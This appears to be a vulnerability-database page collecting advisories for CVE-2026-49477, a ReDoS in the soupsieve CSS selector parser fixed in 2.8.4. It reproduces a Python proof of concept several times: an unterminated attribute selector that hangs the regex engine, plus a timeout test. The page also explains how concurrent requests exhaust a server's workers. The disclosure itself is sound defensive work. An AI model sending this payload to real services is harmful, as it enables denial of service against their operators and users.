Vulnerability-Lookup

URL	Tags
https://github.com/facelessuser/soupsieve/securit…	x_refsource_CONFIRM
https://github.com/facelessuser/soupsieve/commit/…	x_refsource_MISC
https://github.com/facelessuser/soupsieve/release…	x_refsource_MISC

Vendor	Product	Version
facelessuser	soupsieve	Affected: < 2.8.4

FKIE_CVE-2026-49477

Vulnerability from fkie_nvd - Published: 2026-07-14 21:17 - Updated: 2026-07-14 21:17

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.

References

	URL	Tags
	security-advisories@github.com	https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3
	security-advisories@github.com	https://github.com/facelessuser/soupsieve/releases/tag/2.8.4
	security-advisories@github.com	https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "soupsieve",
          "vendor": "facelessuser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.8.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4."
    }
  ],
  "id": "CVE-2026-49477",
  "lastModified": "2026-07-14T21:17:02.007",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-14T21:17:02.007",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-836R-79RF-4M37

Vulnerability from github – Published: 2026-07-09 13:37 – Updated: 2026-07-09 13:37

Summary

Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser

Details

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics: - Input size: Only 300 bytes are needed to trigger a >3 second hang - Amplification: Each additional character approximately doubles the backtracking time - No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)  # Cancel the alarm

Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)

Parameter	Value
Input size	300 bytes
CPU time consumed	>3 seconds (exponential with payload length)
Memory consumed	Negligible (CPU-only attack)
Authentication required	None
User interaction required	None

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.

Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.8.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "soupsieve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:37:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup\u0027s `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `\u0027value\u0027`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `\u0027[^\u0027\\\\]*(?:\\\\.[^\u0027\\\\]*)*\u0027`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -\u201d the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a \u003e3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN) + \u0027\"]\u0027\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for \u003e3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): \u003e3.0s (may need to be killed)\n# Slowdown: \u003e3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | \u003e3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "GHSA-836r-79rf-4m37",
  "modified": "2026-07-09T13:37:46Z",
  "published": "2026-07-09T13:37:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/soupsieve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser"
}

OPENSUSE-SU-2026:21342-1

Vulnerability from csaf_opensuse - Published: 2026-07-14 10:43 - Updated: 2026-07-14 10:43

Summary

Security update for python-soupsieve

Severity

Important

Notes

Title of the patch: Security update for python-soupsieve

Description of the patch: This update for python-soupsieve fixes the following issues - CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187). - CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).

Patchnames: openSUSE-Leap-16.0-1246

Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).

CVE-2026-49476

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 1 product

Product	Identifier	Version	Remediation
Unresolved product id: openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch		—	Vendor Fix

Threats

Impact important

CVE-2026-49477

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 1 product

Product	Identifier	Version	Remediation
Unresolved product id: openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch		—	Vendor Fix

Threats

Impact important

References

10 references

URL	Category
https://www.suse.com/support/security/rating/	external
https://ftp.suse.com/pub/projects/security/csaf/o…	self
https://bugzilla.suse.com/1271187	self
https://bugzilla.suse.com/1271188	self
https://www.suse.com/security/cve/CVE-2026-49476/	self
https://www.suse.com/security/cve/CVE-2026-49477/	self
https://www.suse.com/security/cve/CVE-2026-49476	external
https://bugzilla.suse.com/1271187	external
https://www.suse.com/security/cve/CVE-2026-49477	external
https://bugzilla.suse.com/1271188	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Security update for python-soupsieve",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "This update for python-soupsieve fixes the following issues\n\n- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).\n- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).\n",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Leap-16.0-1246",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_21342-1.json"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271187",
        "url": "https://bugzilla.suse.com/1271187"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271188",
        "url": "https://bugzilla.suse.com/1271188"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-49476 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-49476/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-49477 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-49477/"
      }
    ],
    "title": "Security update for python-soupsieve",
    "tracking": {
      "current_release_date": "2026-07-14T10:43:25Z",
      "generator": {
        "date": "2026-07-14T10:43:25Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "openSUSE-SU-2026:21342-1",
      "initial_release_date": "2026-07-14T10:43:25Z",
      "revision_history": [
        {
          "date": "2026-07-14T10:43:25Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python313-soupsieve-2.6-160000.4.1.noarch",
                "product": {
                  "name": "python313-soupsieve-2.6-160000.4.1.noarch",
                  "product_id": "python313-soupsieve-2.6-160000.4.1.noarch"
                }
              }
            ],
            "category": "architecture",
            "name": "noarch"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "openSUSE Leap 16.0",
                "product": {
                  "name": "openSUSE Leap 16.0",
                  "product_id": "openSUSE Leap 16.0"
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-soupsieve-2.6-160000.4.1.noarch as component of openSUSE Leap 16.0",
          "product_id": "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
        },
        "product_reference": "python313-soupsieve-2.6-160000.4.1.noarch",
        "relates_to_product_reference": "openSUSE Leap 16.0"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-49476",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-49476"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-49476",
          "url": "https://www.suse.com/security/cve/CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271187 for CVE-2026-49476",
          "url": "https://bugzilla.suse.com/1271187"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-14T10:43:25Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-49476"
    },
    {
      "cve": "CVE-2026-49477",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-49477"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-49477",
          "url": "https://www.suse.com/security/cve/CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271188 for CVE-2026-49477",
          "url": "https://bugzilla.suse.com/1271188"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "openSUSE Leap 16.0:python313-soupsieve-2.6-160000.4.1.noarch"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-14T10:43:25Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-49477"
    }
  ]
}

PYSEC-2026-3072

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:06

Details

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics: - Input size: Only 300 bytes are needed to trigger a >3 second hang - Amplification: Each additional character approximately doubles the backtracking time - No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)  # Cancel the alarm

Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)

Parameter	Value
Input size	300 bytes
CPU time consumed	>3 seconds (exponential with payload length)
Memory consumed	Negligible (CPU-only attack)
Authentication required	None
User interaction required	None

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.

Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
soupsieve	pkg:pypi/soupsieve

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "soupsieve",
        "purl": "pkg:pypi/soupsieve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4",
        "0.5",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6",
        "1.0",
        "1.0.1",
        "1.0.2",
        "1.0b1",
        "1.0b2",
        "1.1",
        "1.2",
        "1.2.1",
        "1.3",
        "1.3.1",
        "1.4",
        "1.5",
        "1.6",
        "1.6.1",
        "1.6.2",
        "1.7",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8",
        "1.9",
        "1.9.1",
        "1.9.2",
        "1.9.3",
        "1.9.4",
        "1.9.5",
        "1.9.6",
        "2.0",
        "2.0.1",
        "2.1",
        "2.2",
        "2.2.1",
        "2.3",
        "2.3.1",
        "2.3.2",
        "2.3.2.post1",
        "2.4",
        "2.4.1",
        "2.5",
        "2.6",
        "2.7",
        "2.8",
        "2.8.1",
        "2.8.2",
        "2.8.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49477",
    "GHSA-836r-79rf-4m37"
  ],
